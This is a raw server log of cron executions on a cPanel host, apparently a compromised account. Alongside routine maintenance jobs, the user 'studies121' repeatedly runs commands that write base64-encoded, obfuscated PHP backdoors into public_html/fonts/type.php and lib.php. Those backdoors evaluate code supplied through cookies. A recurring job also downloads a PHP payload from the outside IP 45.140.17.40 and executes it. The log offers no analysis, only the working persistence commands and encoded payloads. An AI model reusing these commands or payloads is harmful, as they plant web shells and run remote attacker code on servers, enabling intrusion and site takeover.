Sep 22 19:21:01 ip-184-168-122-23 CROND[28377]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 19:21:01 ip-184-168-122-23 CROND[28379]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 19:21:01 ip-184-168-122-23 CROND[28380]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 19:22:01 ip-184-168-122-23 CROND[29171]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 19:22:01 ip-184-168-122-23 CROND[29177]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 19:22:01 ip-184-168-122-23 CROND[29173]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 19:22:01 ip-184-168-122-23 CROND[29175]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 19:22:01 ip-184-168-122-23 CROND[29174]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 19:23:01 ip-184-168-122-23 CROND[29958]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 19:23:01 ip-184-168-122-23 CROND[29956]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 19:23:01 ip-184-168-122-23 CROND[29957]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 19:23:01 ip-184-168-122-23 CROND[29961]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 19:24:01 ip-184-168-122-23 CROND[30671]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 19:24:01 ip-184-168-122-23 CROND[30673]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 19:24:01 ip-184-168-122-23 CROND[30674]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 19:24:01 ip-184-168-122-23 CROND[30675]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 19:24:01 ip-184-168-122-23 CROND[30676]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 19:25:01 ip-184-168-122-23 CROND[31388]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 19:25:01 ip-184-168-122-23 CROND[31389]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 19:25:01 ip-184-168-122-23 CROND[31391]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 19:25:01 ip-184-168-122-23 CROND[31396]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 19:25:01 ip-184-168-122-23 CROND[31395]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 19:25:01 ip-184-168-122-23 CROND[31398]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 19:26:01 ip-184-168-122-23 CROND[31766]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 19:26:01 ip-184-168-122-23 CROND[31768]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 19:26:01 ip-184-168-122-23 CROND[31769]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 19:26:01 ip-184-168-122-23 CROND[31770]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 19:26:01 ip-184-168-122-23 CROND[31771]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 19:27:01 ip-184-168-122-23 CROND[32214]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 19:27:01 ip-184-168-122-23 CROND[32213]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 19:27:01 ip-184-168-122-23 CROND[32216]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 19:27:01 ip-184-168-122-23 CROND[32217]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 19:28:01 ip-184-168-122-23 CROND[32689]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 19:28:01 ip-184-168-122-23 CROND[32690]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 19:28:01 ip-184-168-122-23 CROND[32694]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 19:28:01 ip-184-168-122-23 CROND[32693]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 19:28:01 ip-184-168-122-23 CROND[32695]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 19:29:01 ip-184-168-122-23 CROND[825]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 19:29:01 ip-184-168-122-23 CROND[827]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 19:29:01 ip-184-168-122-23 CROND[830]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 19:29:01 ip-184-168-122-23 CROND[829]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 19:30:01 ip-184-168-122-23 CROND[1432]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 19:30:01 ip-184-168-122-23 CROND[1435]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 19:30:01 ip-184-168-122-23 CROND[1436]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 19:30:01 ip-184-168-122-23 CROND[1442]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 19:30:01 ip-184-168-122-23 CROND[1439]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 19:30:01 ip-184-168-122-23 CROND[1438]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 19:30:01 ip-184-168-122-23 CROND[1441]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 19:30:01 ip-184-168-122-23 CROND[1440]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 19:31:01 ip-184-168-122-23 CROND[1894]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 19:31:01 ip-184-168-122-23 CROND[1898]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 19:31:01 ip-184-168-122-23 CROND[1897]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 19:31:01 ip-184-168-122-23 CROND[1896]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 19:31:01 ip-184-168-122-23 CROND[1899]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 19:32:01 ip-184-168-122-23 CROND[2384]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 19:32:01 ip-184-168-122-23 CROND[2386]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 19:32:01 ip-184-168-122-23 CROND[2387]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 19:32:01 ip-184-168-122-23 CROND[2388]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 19:32:01 ip-184-168-122-23 CROND[2389]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 19:33:01 ip-184-168-122-23 CROND[2562]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 19:33:01 ip-184-168-122-23 CROND[2564]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 19:33:01 ip-184-168-122-23 CROND[2565]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 19:33:01 ip-184-168-122-23 CROND[2566]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
